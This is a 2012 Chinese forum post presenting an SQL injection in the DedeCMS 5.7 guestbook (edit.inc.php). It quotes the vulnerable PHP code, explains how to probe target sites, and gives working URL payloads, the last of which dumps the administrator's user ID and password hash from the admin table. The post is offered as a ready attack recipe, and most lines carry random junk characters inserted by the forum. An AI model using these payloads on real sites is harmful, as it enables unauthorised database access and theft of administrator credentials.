找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3767|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.78 y  R. T( R6 g2 Y% ~' [. Q' l1 Q1 E
; @; t3 c3 x' ^# m
漏洞文件edit.inc.php具体代码:
0 k% q! v+ x1 r) R* x$ o( {8 p) Z3 Y5 V  M; U
< ?php  0 z/ _/ ]% q3 p" c/ B. e2 _

& R& G7 [, q( Hif(!defined('DEDEINC')) exit('Request Error!');  
8 {/ d, L" r8 P" ^9 x+ ]
+ |/ `" V( X1 S# _9 |/ T4 U( ]   
7 }: s) h2 |* Q* X0 P& H; b6 I& l
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
, w: @9 Y: t2 a2 w6 L  ~: Y7 d6 T* y) b, Q, [
else $GUEST_BOOK_POS = "guestbook.php";  
( e( p2 H, p& \6 k/ W/ T3 h0 L7 z& B3 Z0 g- i5 {
   
) u, R$ a3 S, t" Z, P: i- X' l$ o3 `- j
$id = intval($id);  ' k$ v# `0 M2 F, ^: r4 [$ n: |

! E' P' S' d" [  }/ eif(empty($job)) $job='view';  
1 C) |% E' W$ s# [5 a! W
: ^9 F  }7 a, {( W8 ?) V   
7 {; \4 v) ]* ^; q3 ^
$ w- L% o0 u% I2 |' Z+ Lif($job=='del' && $g_isadmin)  
4 l2 U1 w- T1 X0 W% x
% ]' \( t- |" D* D: S/ }* n/ G{  - c6 x6 \9 H. u& ?
' ~+ N" c# P+ Q1 m& {) b
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ' o8 D$ ?) a3 p& F

8 c" q5 x  |& r* \6 h2 v9 m3 vShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  3 M# m: M- X- a$ s" T4 z5 Z) w
9 O" B! M* B2 a7 _5 ~
exit();  
4 J3 m- a. y7 H; l3 Z6 H# x4 Z/ x+ `  C" g7 [# I( x! t
}  3 w6 _5 q4 K% T4 D3 y) h! S
+ V  I5 n, V5 R3 d
else if($job=='check' && $g_isadmin)    ?2 V- F, g3 @: c+ D

. ^- y5 U& m7 U2 J3 A2 l{  
5 t$ ?& w  @7 ^; ]$ k
& s6 d, o+ j* w. q5 ]; v$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  3 c) x3 x/ k1 a2 F% a5 }$ F3 B; A8 ^
: g/ }# W) [, N) Y& f
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
% E2 Z1 ~  Q; H) R, z; M/ }6 \% Q5 z/ z9 X- P$ o4 k5 Q
exit();  
0 k, X! ]( ]+ y' [! l6 S) s6 k* `: J
}  0 e0 Q) Y! k7 Z. L

8 R8 ~4 l& k/ kelse if($job=='editok')  * }& {0 q1 M8 J. w! A+ H) W

3 x) Q  W, e6 w  x9 @) O3 ^{  % i$ c4 w2 M2 g8 Z$ x

; `: K. n+ @# l3 L- m. c( _$remsg = trim($remsg);  ! r/ X1 b- \: _; ^) y
" \% P( u0 M, A" A1 g2 w1 x
if($remsg!='')  
! _. Z9 C7 _: M3 v% w8 \$ i
) A7 N1 }* l; b+ |{  + O1 t+ K/ ]) T* V: M6 ]+ [5 b. o

) ]  b+ P& E) {% m& ?: _//管理员回复不过滤HTML By:Errorera blog:errs.cc  % @( P" N( E" l1 x" p) a+ W5 Z

9 `2 K0 d$ P3 h" [3 z6 a4 c6 Oif($g_isadmin)    \2 y, s' V/ [* i( j
9 F3 N6 N; E! S  O6 F' ?
{  $ I# g5 @$ }% M+ q0 \) v( v

& {7 S# e. x8 E9 l6 m9 d$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  6 U' \# b2 a- W
! t. f9 r; }! A6 b& ?
//$remsg <br /><font color=red>管理员回复:</font> }  ( U3 v2 }% X9 W) T

0 P* q& o* t: w" Belse
2 _: a& b* ~  z( s* M6 n- B# Q4 ?/ b3 x0 v; |- Q
{  
( }; Z; Y" l2 B6 o1 i+ ~, t6 R- ]& v9 n3 U+ G4 M6 D1 j
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
0 O" N5 X; {2 z3 \# G" v8 D3 {: `" r
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
% z: e3 F, N  _# e; J8 W: f- K
% h3 K/ N" H$ _$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
) n+ M$ R6 s( x1 g$ v
& e& {5 m! a% e; a$msg = $oldmsg.$remsg;  . C+ I$ o! R' ^0 Z4 Z0 h0 H
# b( k9 C" e2 ?8 p5 ?, e; _& A
}  ) ?: H/ O& H* w2 C. [8 S

$ V  W+ j7 u. l; @9 ~) m}  ! m! X. z+ s- |$ \) N" \
  k  r* N+ z1 P" [4 ]& @5 J
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
: {* O9 z% H7 z, h# \7 l$ O& `. _7 c! W- n; m! x: b
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  $ F* {! l8 K) I  n6 m

3 V" L  z+ h0 J" v# ]9 R* R, a3 gShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  4 ~7 x. o0 W) p3 s# P

: x- Y. M' H+ Bexit();  
! j2 O3 }( O$ x* V) L4 Q, l* V7 H9 e: ^& i* g+ w0 |
}  & h  `( T5 O" v8 \" k- Q
5 f, G1 T2 G% z( S: h) ?
//home:www.errs.cc  
. _+ z+ V  i( z4 O+ I( A  r/ C1 A9 q1 R' @) G7 ]
if($g_isadmin)  
1 P: P; {0 V% _, ^+ e$ {2 O7 Z
" M' N7 M* B, M4 Q( d7 Q* o9 v1 |' Z) ~{  / e+ H8 t  S& d: ?

3 d- j$ j0 O  c; ^$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
. A5 h( k3 q% E
$ D" Y; _! A) L! ^2 Y2 `require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  : k4 P- D  K! o3 c8 h& A! x2 Q; X

2 j, ]9 g% E5 c" Z2 h1 Q6 [}  
4 f: Y& u3 q9 ?* K- |0 f! ?5 k& c- \. N
else   v! i6 u5 H& q: `% c' w0 Q

8 Y2 @- ~8 ~% v# V{  
: z0 m: u4 \1 [( B3 f. p/ h- R. M, g2 p: b7 {3 O. Q* F" P% D
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  , y  i/ |$ G' q2 O0 ]; N  M
  M8 I, P, N7 ^& j  G  N
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
4 h) F% c7 T' `+ p) w" b" Z, i8 S/ ~8 B! c
} 漏洞成功需要条件:
. W6 V$ g* S9 h" V% X1. php magic_quotes_gpc=off
+ [& f6 [- P  W4 J2 P  `# b8 |2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。! S% z" }& v+ p( _$ A) f+ ~9 f

; h1 J$ R2 d! Z怎么判断是否存在漏洞:5 L/ h1 q* O$ R6 ]7 S* ?
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
& {2 M, G* v$ d  k: G+ f然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
% e  \" D0 Q% i访问:9 d- L+ z' M2 }

0 N7 B4 R# K9 `3 @, k9 E# L! Fwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
1 o  \. f- j2 g跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
. V; _$ `4 T- }+ d7 i4 d; Y+ U/ F7 C$ v. U! w* [- l

9 C7 C5 Z+ S) Y明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ U; C, Y* a9 X' P! I7 I7 d9 W& T
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。! C" G% \' I$ n( [$ \8 k& O
那么再次访问9 T. \4 I* u& _" f) i2 `

, S, p9 G; h5 w5 j1 ^4 r. m- awww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().! g+ r+ N" Q3 j8 \6 z, b) W
7 ]7 j% k4 N8 _5 K8 o3 D
大概利用就是这样,大家有兴趣的多研究下!!
; }# l5 g6 R. N5 G2 A5 o1 R. p' T/ ~% i3 E, A. `3 h
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!+ v/ \+ T6 Y: p  h9 l& O
7 j; B( ~0 Z" y6 J% ~
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表